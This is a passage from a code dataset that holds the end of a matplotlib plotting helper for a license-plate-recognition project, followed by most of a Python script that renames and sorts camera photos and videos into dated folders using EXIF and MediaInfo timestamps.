int(tile.getHeight(size_y))\n\n        ax.add_patch(patches.Rectangle((x,y), w, h, alpha=0.8))\n\n\ndef draw_grid_on_pic(ax,\n                     size_x : int,\n                     size_y : int,\n                     num_grid_x : int = 8,\n                     num_grid_y : int = 8,\n                     grid_width = 1,\n                     color = \"black\"):\n    for i in range(1, num_grid_x):\n        x = (i/num_grid_x) * size_x\n        ax.add_patch(patches.Rectangle( (x, 0), grid_width, size_y, color=color))\n\n    for i in range(1, num_grid_y):\n        y = (i/num_grid_y) * size_y\n        ax.add_patch(patches.Rectangle( (0, y), size_x, grid_width, color=color))\n\n\ndef save_bounding_box(save_file : dir, image : np.ndarray, label_polygon : list, output_polygon : list = None):\n    \"\"\"\n        `label_polygon` and `output_polygon` are both expected in the following form:\n          [ [x1,y1], [x2,y2], [x3,y3], [x4,y4] ]\n        typewise both can be numpy ndarrays or list of lists\n    \"\"\"\n    fig, ax = plt.subplots(1)\n    shape = np.shape(image)\n    if len(shape) > 2:\n        ax.imshow(image)\n    else:\n        ax.imshow(image, cmap='gray')\n    bb = patches.Polygon(label_polygon, fill=True, linewidth=1, color='tab:green', alpha=0.5)\n    ax.add_patch(bb)\n    if output_polygon is not None:\n        bb2 = patches.Polygon(output_polygon, fill=True, linewidth=1, color='tab:red', alpha=0.5) \n        ax.add_patch(bb2)\n    plt.savefig(save_file)\n", "repo_name": "aregic/license_plate_recognition", "sub_path": "inspect_images.py", "file_name": "inspect_images.py", "file_ext": "py", "file_size_in_byte": 15303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.shape", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 34, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 90, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "scipy.ndimage.imread", "line_number": 105, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 130, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 187, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 199, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 217, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 224, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 237, "usage_type": "call"}, {"api_name": "tiling.TileCounter", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 259, "usage_type": "name"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 264, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 275, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 288, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 288, "usage_type": "name"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 292, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 292, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 308, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 320, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 320, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 323, "usage_type": "call"}, {"api_name": "tiling.TileCounter", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 353, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 353, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 386, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 386, "usage_type": "call"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 400, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 400, "usage_type": "name"}, {"api_name": "numpy.fromstring", "line_number": 411, "usage_type": "call"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 423, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 423, "usage_type": "name"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 435, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 435, "usage_type": "name"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 439, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 439, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 442, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 448, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 448, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 449, "usage_type": "call"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 454, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 454, "usage_type": "name"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 457, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 457, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 459, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 459, "usage_type": "name"}]}
{"seq_id": "535863261", "text": "# Name: RenameVideo.py\n#\n# file traversal was based on work by\n# Author: Brian Klug (@nerdtalker / brian@brianklug.org)\n#https://gist.github.com/nerdtalker/4187084\n\n# Purpose:\n#Rename still images as yyyy-mm-dd-hh-mm-ss-#### where #### is the existing sequence no\n# using EXIF data\n#\n# rename movie files to V##_start date & time, using the MediaInfo library\n# Also flags non-25FPS video (Useful for Lightworks editing!)\n#\n\n# specialised, non-standard lib imports:\n# library for the stills EXIF data\ntry:\n    import exifread\nexcept:\n    print (\"exifread was not found in the same directory as this program\")\n    #Todo: Exit code 101 => Exifread not found\n    exit(101)\n\n# for video metadata\ntry:\n    from MediaInfoDLL3 import *\nexcept :\n    print (\"MediaInfo library not found in the same directory as this program\\n Video wont work\")\n    #Currently MI only works with a 64bit Python\n    # die without media info\n    # TODO: be more elegant - spew a URL?\n    # Todo: Exit code 102 => MediaInfo not found\n    exit(102)\n\n# standard Python imports\nimport traceback\nimport os\nimport time\nfrom datetime import datetime, timedelta\nimport tkinter as tk\nfrom tkinter import filedialog\nimport shutil\nimport re\nfrom operator import attrgetter\n\n# only handle known types\n# TODO: Sort out casing\nINCLUDED_STILL_TYPES = [ \"JPG\" , \"jpg\" , \"ARW\" , \"arw\" , \"CR2\" , \"cr2\" , \"TIF\" , \"tif\" ]\n\nINCLUDED_VIDEO_TYPES = [\"MOV\", \"mov\", \"MP4\", \"mp4\", \"MTS\", \"mts\"]\n\n# conversion from UTC to SAST\nUTC_SECONDS = 2*3600\n\n# class for collecting copy errors\nclass CTError(Exception):\n    def __init__(self, errors):\n        self.errors = errors\n\n#class for managing sequences of images in the same second\nclass processedName():\n    def __init__(self,origName= \"\",dateTime= \"\",seq= -1,type= \"\"):\n        self.origName = origName\n        self.dateTime = dateTime    #exif date-time\n        self.origSeq = seq          # embedded seq in the file\n        self.type = type            # file type origName[origName.rfind('.')+1:]\n        self.seq = -1                # a consecutive number for multiple shots in one second. -1 means no sequence found\n        self.newName = \"\"           #where we will put the new name\n\n    def __str__(self):\n        return str( self.origName) + '\\t' + str(self.dateTime)  + '\\t'+ str(self.origSeq)  + \\\n               '\\t' + str(self.type) + '\\tseq:' + str(self.seq)+ '\\tnN:' + str(self.newName)\n\n#class for managing sequences of images in the same second\n# design itteration from processedName, with adds for renaming.\nclass mediaItem():\n    def __init__(self,origPath = \"\",origName= \"\",StillVideo = \"\",fileType= \"\"):\n        '''\n            setup a new mediaItem instance.\n            Only sets srcname stuff here - no additional calls to OS or file opening (delays!) here\n        '''\n        self.origPath = origPath\n        self.origName = origName\n        if fileType != \"\":              # file type origName[origName.rfind('.')+1:]\n            self.fileType = fileType    #explicitly set\n        else:                           #extract it\n            self.fileType = origName[origName.rfind('.')+1:]\n\n        self.dateTime = datetime(1,1,1)              #Metadata (exif) date-time - as a pure date for sorting & processing\n        # is this still or video media type ('S' or 'V']\n        if self.fileType in INCLUDED_STILL_TYPES:\n            self.StillVideo = 'S'\n        elif self.fileType in INCLUDED_VIDEO_TYPES:\n            self.StillVideo = 'V'\n        else:\n            self.StillVideo = 'U'   # unknown for now\n\n        self.size = 0                   # size on disk (nice for updating progress)\n        # try to grab a sequence number from the file NAME (takes the first contiguous number string)\n        try:\n            self.origSeq = int(re.findall(r'\\d+',origName)[0])\n        except:\n            self.origSeq = 0\n\n        self.seq = -1                   # a consecutive number for multiple shots in one second. -1 means no sequence found\n        self.newPath = \"\"               # path for new name\n        self.newName = \"\"               #where we will put the new name\n        self.namePrefix = \"\"            # a place to handle special name prefixes (eg vid seq)\n        self.nameSuffix = \"\"            # a place to handle special name suffices (eg 24FPS)\n\n    def __str__(self):\n        return str( self.origPath) + '$' + str( self.origName) + '\\n   dt:' + str(self.dateTime)  + '\\t SVU:' + \\\n            str(self.StillVideo) + '\\t' + str(self.size) + 'B \\t oSeq:' + str(self.origSeq) + \\\n            '\\t fileType<' + str(self.fileType) + '>\\tseq:' + str(self.seq)+ \\\n            '\\n new Path:' + str(self.newPath) + '\\t newN:' + str(self.newName)\n\n    def updateMediaTags(self):\n        ''' open the file via os, mediaInfo or exifread to get tags\n            Based on getModTime() and getEXIFTime() ideas\n            Sets newName to its default value\n            Sets dateTime,and FPS check for Vid\n        '''\n\n        if self.StillVideo == 'S':\n            # use exif data\n            f = open(self.origPath+self.origName,'rb')\n            try:\n                tags = exifread.process_file(f, stop_tag='EXIF DateTimeOriginal', details=False)\n                # print(tags['EXIF DateTimeOriginal'])\n            except:\n                # the error will be caught in the tag processing\n                pass\n\n            try:\n                # get the exif version date time\n                EXIFDateTime = str(tags['EXIF DateTimeOriginal'])\n                # print(\"EXIFDateTime =\"+EXIFDateTime)\n                self.newName = EXIFDateTime.replace(':','-')\n            except:\n                # else use the file modified date (Creation gets changed on copy)\n                print (\"Couldn't read EXIF date on \" + self.origPath+self.origName + \"\\nUsing mod time\")\n                self.newName = getModTime(self.origPath+self.origName)\n\n            self.dateTime = datetime.strptime(self.newName, \"%Y-%m-%d %H-%M-%S\")\n            f.close()\n\n        elif self.StillVideo == 'V':\n            # use MediaInfo\n            MI = MediaInfo()\n            MI.Open(self.origPath+self.origName)\n            # print(\"Info for \", srcname)\n\n            encodedDate = MI.Get(Stream.General, 0, \"Encoded_Date\")\n\n            # HACK! MI ALWAYS includes \"UTC\" on encoded time, even if it's actually local :(\n            # Also remove the \"20\" since it takes space on the timeline/ bin  in LWKS\n            if encodedDate != \"\" :\n                # encodedDate = encodedDate[6:]\n                self.dateTime = datetime.strptime(encodedDate, \"%Z %Y-%m-%d %H:%M:%S\")\n                encodedDate = self.dateTime.strftime(\"%y-%m-%d %H-%M-%S\")\n            # MTS files don't have encodeDate, hack it from OS File Mod date minus duration                                     ]\n            if encodedDate == \"\":\n                # this uses the datetime library, which handles all the midnight/ end of month type issues\n                # https://docs.python.org/3/library/datetime.html\n                fileModDate = MI.Get(Stream.General, 0, \"File_Modified_Date\")\n                #convert this to a datetime format\n                fDT = datetime.strptime(fileModDate, \"%Z %Y-%m-%d %H:%M:%S.%f\")\n\n                # convert the duration from millseonds to a datetime object\n                fileDuration = timedelta(0, float( MI.Get(Stream.General, 0, \"Duration\") )/1000 )\n\n                # print(\"Mod:  \" + fileModDate + \" duration (s) \" + str(fileDuration))\n                # reverse back to the start time of the clip, and correct for TImezone\n                self.dateTime = fDT - fileDuration + timedelta(0,UTC_SECONDS)\n                # print (\"new encoded time: \" + str(datetime.timedelta(seconds=startSecsFromMidnight)))\n\n                encodedDate = self.dateTime.strftime(\"%y-%m-%d %H-%M-%S\")\n\n            self.newName = encodedDate\n            # print(\"new encoded time: \" + encodedDate)\n\n            # To track non-25fps movies for later transcoding\n            # embed a \"-##FPS\" before the filetype for non-25FPS files\n            # print(\"FrameRate :\",MI.Get(Stream.General, 0, \"FrameRate\"))\n            FPS = float(MI.Get(Stream.General, 0, \"FrameRate\"))\n            if FPS != 25:\n                self.nameSuffix += \"_%dFPS\"%FPS\n\n            MI.Close()\n\n    def getDate(self):\n        \"\"\" return the YYYY_MM_DD a file was created \"\"\"\n        return self.dateTime.strftime(\"%Y_%m_%d\")\n\ndef createSequencedNames(dirName):\n    '''\n        creates date&time srcnames, with seq numbers for duplicates\n        :param dirName: directory to parse\n        :return: a list of processedName objects with correctly sequenced names\n    '''\n\n    dirList=os.listdir(dirName)\n    print('%3d files found to process' % len(dirList))\n\n    # a list of processedNames\n    newNames = []\n\n    for origName in dirList:\n        # set full name and extract type (no path)\n        p = processedName(origName,\"\",0,origName[origName.rfind('.')+1:])\n        if p.type in INCLUDED_STILL_TYPES:  #only try to get date from EXIF compliant files\n            p.dateTime = getEXIFTime(dirName + '/'+ origName)\n            # try to grab a sequence number from the file NAME\n            try:\n                p.origSeq = int(re.findall(r'\\d+',origName)[0])\n            except:\n                p.origSeq = 0\n        newNames.append(p)\n\n    #find sequences in same file types\n    prevDateTime = \"\"  # dateTime is always set, thus this will work for 1st iteration.\n    prevType = \"\"\n    seqTrack = 0\n\n    #sort by type to find same-second sequences\n    newNames.sort(key = attrgetter('type', 'origSeq'))\n\n    # uses indexing to deal with the 'previous' element in a sequence\n    for i in range(len(newNames)):\n        if newNames[i].dateTime == prevDateTime and newNames[i].type == prevType:\n            if seqTrack == 0: # on the first one of a seq, go back and fix the previous\n                newNames[i-1].seq = seqTrack\n                seqTrack += 1\n            newNames[i].seq = seqTrack\n            seqTrack += 1\n        else:\n            seqTrack = 0\n\n        prevDateTime = newNames[i].dateTime\n        prevType = newNames[i].type\n\n    #sequencing sorted, now build the file names\n    for n in newNames:\n        if n.type in INCLUDED_STILL_TYPES:\n            if n.seq != -1:\n                n.newName = n.dateTime + \"-%02d\" % n.seq + '.'+ n.type\n            else:\n                n.newName = n.dateTime + '.'+ n.type\n        else:\n            n.newName = n.origName\n    return newNames\n\ndef getModTime(srcname):\n    # get the file MODIFIED time\n\n    statbuf = os.stat(srcname)\n    dateTime = time.localtime((statbuf.st_mtime))\n\n    # Format it as yyyy-mm-dd-hh-mm-ss\n    return \"%04d-%02d-%02d %02d-%02d-%02d\" % (dateTime[0], dateTime[1], dateTime[2],\n            dateTime[3], dateTime[4], dateTime[5])\n\ndef getEXIFTime(srcname):\n    # get the image time based on EXIF metadata, esle use mod time\n    newName = \"\"\n    f = open(srcname,'rb')\n    try:\n        # tags = exifread.process_file(f)\n        tags = exifread.process_file(f, stop_tag='EXIF DateTimeOriginal')\n        # tags = exifread.process_file(f,stop_tag='EXIF DateTime')\n        # print(tags['EXIF DateTimeOriginal'])\n    except:\n        # the error will be caught in the tag processing\n        pass\n\n    try:\n        # get the exif version date time\n        EXIFDateTime = str(tags['EXIF DateTimeOriginal'])\n        # print(\"EXIFDateTime =\"+EXIFDateTime)\n        newName = EXIFDateTime.replace(':','-')\n    except:\n        # else use the file modified date (Creation gets changed on copy)\n        print (\"Couldn't read EXIF date on \" + srcname + \"\\nUsing mod time\")\n        newName = getModTime(srcname)\n\n    f.close()\n\n    return newName\n\ndef get_sec(s):\n    '''\n    http://stackoverflow.com/questions/6402812/how-to-convert-an-hmmss-time-string-to-seconds-in-python\n    modified to deal with millisecs in file names\n    '''\n    l = s.split(':')\n    return int(l[0]) * 3600 + int(l[1]) * 60 + float(l[2])\n\ndef getMItime(srcname):\n    ''' get the file (start?) time\n    :param video file name\n    :return: the time in yy-mm-dd hh-mm-ss format, no filetype\n        uses the MediaInfo Library\n        MediaInfo.Dll - http://MediaArea.net/MediaInfo\n        https://mediaarea.net/en/MediaInfo/Download/Windows\n        to get date & time & rates\n        mediainfo.dll & py mus tbe in the same dir\n    '''\n\n    MI = MediaInfo()\n    MI.Open(srcname)\n    # print(\"Info for \", srcname)\n\n    # To track non-25fps movies for later transcoding\n    # embed a \"-##FPS\" before the filetype for non-25FPS files\n    # print(\"FrameRate :\",MI.Get(Stream.General, 0, \"FrameRate\"))\n    FPS = float(MI.Get(Stream.General, 0, \"FrameRate\"))\n    if FPS == 25:\n        FPSMod = \"\"\n    else:\n        FPSMod = \"_%dFPS\"%FPS\n\n    encodedDate = MI.Get(Stream.General, 0, \"Encoded_Date\")\n    # TODO: Proper datetime restructure, since MI returns colons in time!!\n\n    # HACK! MI ALWAYS includes \"UTC\" on encoded time, even if it's actually local :(\n    # Also remove the \"20\" since it takes space on the timeline/ bin  in LWKS\n    if encodedDate != \"\" :\n        # encodedDate = encodedDate[6:]\n         encodedDate = datetime.strptime(encodedDate, \"%Z %Y-%m-%d %H:%M:%S\").strftime(\"%y-%m-%d %H-%M-%S\")\n    # MTS files don't have encodeDate, hack it from OS File Mod date minus duration                                     ]\n    if encodedDate == \"\":\n        # this uses the datetime library, which handles all the midnight/ end of month type issues\n        # https://docs.python.org/3/library/datetime.html\n        fileModDate = MI.Get(Stream.General, 0, \"File_Modified_Date\")\n        #convert this to a datetime format\n        fDT = datetime.strptime(fileModDate, \"%Z %Y-%m-%d %H:%M:%S.%f\")\n\n        # convert the duration from millseonds to a datetime object\n        fileDuration = timedelta(0, float( MI.Get(Stream.General, 0, \"Duration\") )/1000 )\n\n        # print(\"Mod:  \" + fileModDate + \" duration (s) \" + str(fileDuration))\n        # reverse back to the start time of the clip, and correct for TImezone\n        newDT = fDT - fileDuration + timedelta(0,UTC_SECONDS)\n        # print (\"new encoded time: \" + str(datetime.timedelta(seconds=startSecsFromMidnight)))\n\n        encodedDate = newDT.strftime(\"%y-%m-%d %H-%M-%S\")\n\n    # add back the non-standard FPS indicator - blank for 25 FPS, non blank otherwise\n    # This should be a mediaItem modifier\n    encodedDate += FPSMod\n    # print(\"new encoded time: \" + encodedDate)\n\n    MI.Close()\n\n    return encodedDate\n\ndef renameVideoFolder(dirName):\n    \"\"\"\n    Rename all the Video image files in dirName to M####-yy-mm-dd-hh-mm-sswhere #### is a sequence num.\n    :returns number of files written\n    \"\"\"\n    '''\n        should be re-runable - if newname = oldname, happily do nothing\n        sort\n        handle duplicates on HDD during rename\n    '''\n\n    dirList=os.listdir(dirName)\n\n    errorCount = 0\n    # a sequence counter for aiding NLE timeline clip ID\n    seqCount = 0\n\n    for shortName in dirList:\n        fname = dirName + '/' + shortName\n        # print (\"File name is \" + fname)\n        if os.path.isfile(fname):\n            if fname[fname.rfind('.')+1:] in INCLUDED_VIDEO_TYPES:\n                #print (\"File name is \" + fname)\n                try:\n                    # note the prepended \"V%d\" MAY cause sort-by-name to not equal sort by mod date??? May need to sort the names first???\n                    # solved in copy version (using mediaItem class) by having a proper prefix field\n                    newName = dirName + '/' + \"V%d_\" % seqCount + getMItime(fname) + '.'+fname[fname.rfind('.')+1:]\n                    seqCount += 1\n                    # TODO: if the file exists, this is an error (for now)  Check about re-runs, etc\n                    # if not os.path.exists(newName):\n                    # print(\"Rename \" + fname[-30:] + \" to \"+ newName[-30:])\n                    print('.',end='')\n                    os.rename(fname,newName)\n\n                except Exception as e:\n                    errorCount += 1\n                    print (\"Oh no. Rename \" + fname + \" failed\")\n                    print(traceback.format_exc())\n\n    if errorCount : print(\"There were %2d errors\" % errorCount)\n    return seqCount\n\ndef renameStillsFolder(dirName,newNameList):\n    \"\"\"\n    Rename all the still image files in dirName to yyyy-mm-dd-hh-mm-ss-## where ## is a sequence num.\n    :param dirName - string with the fully qualified path to the files\n    :param newNameList - list of processedName objects, ready to be applied to HDD\n    \"\"\"\n\n    errorCount = 0\n\n    #for shortName in dirList:\n    for n in newNameList:\n        fname = dirName + '/' + n.origName\n\n        if os.path.isfile(fname):\n            if n.type in INCLUDED_STILL_TYPES:\n                #print (\"File name is \" + fname)\n                try:\n                    newName = dirName + '/' + n.newName\n                    # print(\"Rename \" + fname[-30:] + \" to \"+ newName[-30:])\n                    print('.',end='')\n                    os.rename(fname,newName)\n\n                except Exception as e:\n                    errorCount += 1\n                    print (\"Oh no. Rename \" + fname + \" failed\")\n                    print(traceback.format_exc())\n\n    print()\n    if errorCount : print(\"There were %2d errors\" % errorCount)\n    return errorCount\n\ndef setupStillsRename():\n    '''\n    get the folder name for processing\n    '''\n    stillsPath = filedialog.askdirectory(\n                title = \"Directory in which to rename jpg & ARW & CR2 & Tif files \",\n                initialdir = \"C:/Users/grant/Documents/scratch/sonySDStructure/DCIM/10060708\"\n                )\n\n    print(stillsPath)\n    # Exit on cancel!\n    if stillsPath == \"\" : return\n\n    start_time=time.time()\n\n    #renameStillsFolder(stillsPath)\n    newNames = createSequencedNames(stillsPath)\n    # for n in newNames:\n    #     print(n)\n    renameStillsFolder(stillsPath,newNames)\n    print ('Done. Execution took {:0.3f} seconds'.format((time.time() - start_time)))\n\n    # TODO Double check what happens to sequence numbers on renaming renamed files. Seems to be dependent on natural order?\n    # maybe sort by EXIF date if seq is the same for the whole folder (since it defaults to year in this case)\n\ndef setupVideoRename():\n    '''\n    get the folder name for processing\n    Ultimately, this will be called by a GUI button?\n    '''\n    videoPath = filedialog.askdirectory(\n                title = \"Directory in which to rename jpg & ARW & CR2 & Tif files \",\n                initialdir = \"C:/Users/grant/Documents/scratch/sonySDStructure/DCIM/10060708\"\n                )\n\n    print(videoPath)\n    # Exit on cancel!\n    if videoPath == \"\" : return\n\n    start_time=time.time()\n\n    # for n in newNames:\n    #     print(n)\n    print(\"renameVid output:\"+ str(renameVideoFolder(videoPath)))\n\n    print ('Done. Execution took {:0.3f} seconds'.format((time.time() - start_time)))\n\ndef traverseMediaTree(mediaSource):\n    '''\n    create two lists of mediaItems (stills & video) of the media in mediaSource to\n\n    Must deal with media at all levels, from root and down,\n       traverse any sub-dirs found (ala Sony), or deal with mixed contents (ala Canon)\n        Largely based on\n        http://stackoverflow.com/users/1126776/dmytro\n        http://stackoverflow.com/questions/22078621/python-how-to-copy-files-fast\n        removed the symlink stuff - will only work on 'real'  dirs\n    '''\n\n    # any FILES at root level\n    names = os.listdir(mediaSource)\n    errors = []\n    for name in names:\n        srcname = mediaSource + '/' +name\n        #try:\n        if os.path.isdir(srcname):\n            traverseMediaTree(srcname)\n        else:\n            newMI = mediaItem(srcname[:srcname.rfind('/')+1],srcname[srcname.rfind('/')+1:] )\n            if newMI.StillVideo == 'S':\n                stillsList.append(newMI)\n            if newMI.StillVideo == 'V':\n                videoList.append(newMI)\n            # print(srcname)\n            \n        #except:\n\n    if errors:\n        raise CTError(errors)\n\n\ndef setupDirCopy():\n    '''\n    Setup the dirs - a shim to interface with the GUI when it comes\n    Copy and rename all the media from a user-selected dir to a stills and a video dir, each day getting it's own folder\n    Must traverse any sub-dirs found (ala Sony), or deal with mixed contents (ala Canon)\n\n    Some of this could be in objectified variously. NExt phase ...\n    '''\n\n    # Get the source\n    mediaSourcePath = filedialog.askdirectory(\n            title = \"SOURCE of media (eg SD Card root) \",\n            initialdir = \"C:/Users/grant/Documents/scratch/sonySDStructure/\"\n            )\n\n    # Root of the destinations. Currently hardcoded. Ultimately will be in the GUI option setter\n    # add in a subdir for each day in the dir-walk\n    # stillRootDestination = \"C:/Users/grant/Pictures/2016/\"\n    # videoRootDestination = \"C:/Users/grant/Videos/2016/\"\n    # test values:\n    stillRootDestination = \"C:/Users/grant/Documents/scratch/P2016/\"\n    videoRootDestination = \"C:/Users/grant/Documents/scratch/V2016/\"\n\n    if not os.path.isdir(stillRootDestination):\n        os.mkdir(stillRootDestination)\n\n    if not os.path.isdir(videoRootDestination):\n        os.mkdir(videoRootDestination)\n\n    copyCount = 0\n\n    start_time=time.time()\n    # DONE: use an extension of processedName, Add attribs: still/video; abs src dir; abs dest dir; size; Date\n    # Recursively traverse mediaSource, and get out all the INCLUDED* files into twolists - stillsSrc, videoSrc. Include srcDir\n    # these could be parameters, but it will get confusing.\n    global stillsList\n    stillsList= []\n\n    global videoList\n    videoList = []\n\n    traverseMediaTree(mediaSourcePath)\n    #\n    # STILLS\n    # now get all the metadata\n    for s in stillsList:\n        s.updateMediaTags()\n        # print(s)\n\n    # create a list of stillsDests and videoDests, and mark which files must go where\n    stillsList.sort(key = lambda v:v.dateTime)\n    stillsDirs = []\n    for s in stillsList:\n        d = s.getDate() # s.dateTime.strftime(\"%Y_%m_%d\")\n        if d not in stillsDirs:\n            stillsDirs.append(d)\n\n    # stills - sequences don't last longer than one second, so the old sequence naming code is fine\n\n    #find sequences in same file types\n    prevDateTime = \"\"  # dateTime is always set, thus this will work for 1st iteration.\n    prevfileType = \"\"\n    seqTrack = 0\n    #\n    #sort by type to find same-second sequences\n    stillsList.sort(key = attrgetter('fileType', 'origSeq'))\n\n    # uses indexing to deal with the 'previous' element in a sequence\n    for i in range(len(stillsList)):\n        if stillsList[i].dateTime == prevDateTime and stillsList[i].fileType == prevfileType:\n            if seqTrack == 0: # on the first one of a seq, go back and fix the previous\n                stillsList[i-1].seq = seqTrack\n                seqTrack += 1\n            stillsList[i].seq = seqTrack\n            seqTrack += 1\n        else:\n            seqTrack = 0\n    \n        prevDateTime = stillsList[i].dateTime\n        prevfileType = stillsList[i].fileType\n    #\n    #sequencing sorted, now build the file names\n    for sd in stillsList:\n        if sd.seq != -1:\n            sd.nameSuffix = \"-%02d\" % sd.seq\n        sd.newName = sd.namePrefix + sd.newName + sd.nameSuffix + '.' + sd.fileType\n        sd.newPath = stillRootDestination + sd.getDate() + '/'\n\n    # create all the stiils dirs\n    # List of failed folders\n    stillFolderErr = []\n    for s in stillsDirs:\n        try:\n            # print(stillRootDestination+s)\n            if not os.path.isdir(stillRootDestination+s):\n                os.mkdir(stillRootDestination+s)\n        except:\n            print(traceback.format_exc())\n            # track folders errors\n            stillFolderErr.append(stillRootDestination+s)\n            #Todo: Exit(103) with message\n\n    # now copy the stills files\n    stillsFileErr = [ ]\n    for sd in stillsList:\n        try:\n            # note shutil.copy2 preserves more OS level metadata\n            # currently will overwrite if already exists\n            # TODO: add a 'overwrite' all check\n            shutil.copy2(sd.origPath + sd.origName , sd.newPath + sd.newName)\n            copyCount += 1\n            print('.',end='')\n        except:\n            print(traceback.format_exc())\n            stillsFileErr.append(sd.origPath + sd.origName)\n            # Todo: Exit(104) with message\n\n    # VIDEO\n\n    # Do sequence renaming\n    for v in videoList:\n        # update meta data\n        v.updateMediaTags()\n\n    videoList.sort(key = lambda v:v.dateTime)\n    videoDirs = []\n    for v in videoList:\n        d = v.getDate() #v.dateTime.strftime(\"%Y_%m_%d\")\n        if d not in videoDirs:\n            videoDirs.append(d)\n\n    # create the new names for all the files.\n    # This requires the complete meta in place, so can't be done in the previous loop!\n    # for this version, simply let seq run across all videos in the dir\n\n    seqCount = 0\n    for vd in videoList:\n        # TODO: prefix may get generalised in the GUI for camera ID, etc\n        vd.namePrefix = \"V%d_\" % seqCount\n        seqCount += 1\n        vd.newName = vd.namePrefix + vd.newName + vd.nameSuffix + '.' + vd.fileType\n        vd.newPath = videoRootDestination + vd.getDate() + '/'\n\n        # print('nv:' + str(vd))\n\n    # create all the video dirs\n    # List of failed folders\n    vidFolderErr = []\n    #Todo: DAMP over DRY - refactor v to vidItem\n    for v in videoDirs:\n        try:\n            # print(videoRootDestination+v)\n            if not os.path.isdir(videoRootDestination+v):\n                os.mkdir(videoRootDestination+v)\n        except:\n            print(traceback.format_exc())\n            # track folders errors\n            vidFolderErr.append(videoRootDestination+v)\n\n    # now copy videos\n    vidFileErr = []\n    for vd in videoList:\n        try:\n            # 